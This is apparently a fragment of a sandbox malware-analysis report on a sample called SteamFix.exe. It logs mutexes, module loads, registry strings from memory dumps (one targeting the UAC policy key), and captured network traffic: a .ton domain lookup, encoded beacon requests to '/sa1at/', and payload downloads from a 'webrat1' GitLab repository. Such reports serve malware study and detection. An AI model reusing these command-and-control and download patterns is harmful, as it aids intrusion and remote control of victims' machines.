SteamFix.exe created mutex with name "SM0:8176:168:WilStaging_02" Process SearchUI.exe created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process SearchUI.exe created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process SearchUI.exe created mutex with name "RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process SearchUI.exe created mutex with name "RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process SearchUI.exe created mutex with name "Local\SM0:992:168:WilStaging_02" Process SearchUI.exe created mutex with name "SM0:992:64:WilError_01" Process SearchUI.exe created mutex with name "Local\SM0:992:64:WilError_01" Process SearchUI.exe created mutex with name "SM0:992:168:WilStaging_02" Process SearchUI.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:992:168:WilStaging_02" Process SearchUI.exe created mutex with name "\BaseNamedObjects\WEBR_RGRVRN5VRU64" Process SearchUI.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:992:168:WilStaging_02" Process SearchUI.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:992:64:WilError_01" Process SearchUI.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:992:64:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6948:168:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:6948:168:WilStaging_02" Process powershell.exe created mutex with name "SM0:6948:64:WilError_01" Process powershell.exe created mutex with name "Local\SM0:6948:64:WilError_01" Process powershell.exe created mutex with name "SM0:6948:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"40:T1525,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]41:T24c4,"SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00000992.00000000.195947.06000000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E579AB5F-1CC4-44B4-BED" in Source: 00000000-00000992.00000001.197869.03B70000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00000992.00000001.197869.03BC7000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E579AB5F-1CC4-44B4-BED" in Source: 00000000-00000992.00000002.199787.03B70000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E579AB5F-1CC4-44B4-BED" in Source: 00000000-00000992.00000003.204420.03B70000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00001060.00000001.197716.04400000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00001372.00000001.197755.06000000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00001372.00000001.197755.06100000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00001372.00000001.197755.06100000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00002024.00000000.203341.04080000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002024.00000000.203341.04080000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005984.00000000.197451.04100000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00005984.00000000.197451.06400000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00005984.00000000.197451.06400000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006948.00000000.196737.00A50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006948.00000000.196737.00A50000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006948.00000001.197689.00A50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006948.00000001.197689.00A50000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006948.00000001.197689.08102000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00007336.00000000.203342.04400000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00007336.00000000.203342.04400000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007428.00000000.196833.03BB0000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1BE1F766-5536-11D1-B72" in Source: 00000000-00007428.00000000.196833.03BB0000.00000004.mdmp "ripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020404-0000-0000-C000-000000000046}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00008176.00000001.195631.039E2000.00000004.mdmp42:T7c50,"GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Date: Wed 21 Oct 2026 08:59:40 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a4df1148c97ca2db-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B2277616C6C6574223A7B2261646472657373223A22303A33313339333632653331333933363265333233303338326533313338303030303030303030303030....... "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Date: Wed 21 Oct 2026 08:59:53 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a4df119aaac7042c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B2277616C6C6574223A7B2261646472657373223A22303A33313339333632653331333933363265333233303338326533313338303030303030303030303030....... "GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 21 Oct 2026 08:59:54 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tLK85XzdDj5MJbrCVRJrzKgI556%2FD%2FKJ1sA6hTYYUdbacwb%2B435Ar4tlwWY0MPqIlOyggL%2Fm6kjACJ0Y3G2Xtz1WvnkPnXyEPB3GOriqIjDAwlZlcJipiWXYrEi6"}]} CF-RAY: a4df119f1bc45434-TLL alt-svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C39BC292C39EC2A1C380C2A3C39EC28B20C29C....... "GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 354 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 21 Oct 2026 08:59:55 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=apcmB6TllUxkCZX5M1N0E8wHUxIzXgKjWXA2ncwyAqzmsIii%2Fc6StepUpiJBGWy2qI00hWlQe7BqsPx34xPUiHgJ2zQr76LDiUHdG3Rk0zsPsChEUsmD1DtRn7cn"}]} CF-RAY: a4df11aa6b763c36-ARN alt-svc: h3=":443"; ma=86400 with response body ==>C28BC39657C396C38AC39FC280C384C2B3C38AC2A4C392C2883AC38EC282C38CC2A1C396C285C380C2BEC39FC290C383C3B3....... "GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 21 Oct 2026 08:59:56 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=HITvbwtvbmnvGEj9QP%2FY3IZjCD1ccv%2FEGNFC6DDWQrPUHiSNN%2FNdvuLyTZRSxPCDTj9bOW8%2Frpm3%2FrtaR%2F6zLcUTlsFe0bMB4RDKRB2jQKwfogAaBm5kHTqJkY2d"}]} CF-RAY: a4df11b0f8f250ce-ARN alt-svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962BC395C280C393C2BEC38AC28FC381C2A1C389C288C29C....... "GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 69 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 21 Oct 2026 08:59:57 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Gvjcz3glWvEa1%2FyrWV658qNkg8v2XXuXqqttaSnedvpXOLUfYtV8hqSFwN5kh8F7hLO22F5MZIP15fiXcqYPDhG5mV895aKw3reiZMrxSTG06bgGTBIC1yQtwJ29"}]} CF-RAY: a4df11b4bcc45433-TLL alt-svc: h3=":443"; ma=86400 with no response body "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1 Host: gitlab.com Connection: Keep-Alive" Response ==> HTTP/1.1 302 Found Date: Wed 21 Oct 2026 09:00:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a4df121c6c75ed3c-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-b3b7fdf9dfa8fc35c0ae3e3e4c0d6914; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-JwwgWHFp7GHW8Igh2aA4wg=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-06-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 1 ratelimit-remaining: 499 ratelimit-reset: 1792573260 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a4df121c6c75ed3c-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a4df121c6c75ed3c-SJC x-runtime: 0.067792 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Wed 21 Oct 2026 09:00:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5322 Connection: close Accept-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cf-Mitigated: challenge Content-Security-Policy: default-src 'none'; script-src 'nonce-xbvPT7qatjaZ3iPEKAWa4L' 'unsafe-eval' https://challenges.cloudflare.com; script-src-attr 'none'; style-src 'unsafe-inline'; img-src 'self' https://challenges.cloudflare.com; connect-src 'self' https://challenges.cloudflare.com; frame-src 'self' https://challenges.cloudflare.com blob:; child-src 'self' https://challenges.cloudflare.com blob:; worker-src blob:; form-action http: https:; base-uri 'self' Server: cloudflare Critical-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cross-Origin-Embedder-Policy: require-corp Nel: {"report_to":"cf-nel" "success_fraction":0.01 "max_age":604800} Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() xr-spatial-tracking=* Referrer-Policy: same-origin Server-Timing: chlray;desc="a4df121d9ea3ed3c" X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=4iVN9K8xL09BtoXzZ373YOxqcDyLxMlfSNM34xao2ix4Tsf9Tb4Z0Z2ZMv0SydI%2F2bNvWAHgc6ClPeBRx6Qdye%2FO6tLk3Vme5NnXKhrq52jHNFLom%2FnNFnZJjCA%3D"}]} Cache-Control: no-store private max-age=0 Cross-Origin-Opener-Policy: same-origin CF-RAY: a4df121d9ea3ed3c-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 21 Oct 2026 09:00:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a4df121f0f7cd045-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-56478310836c32d8f5d2122855eecb3c; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: 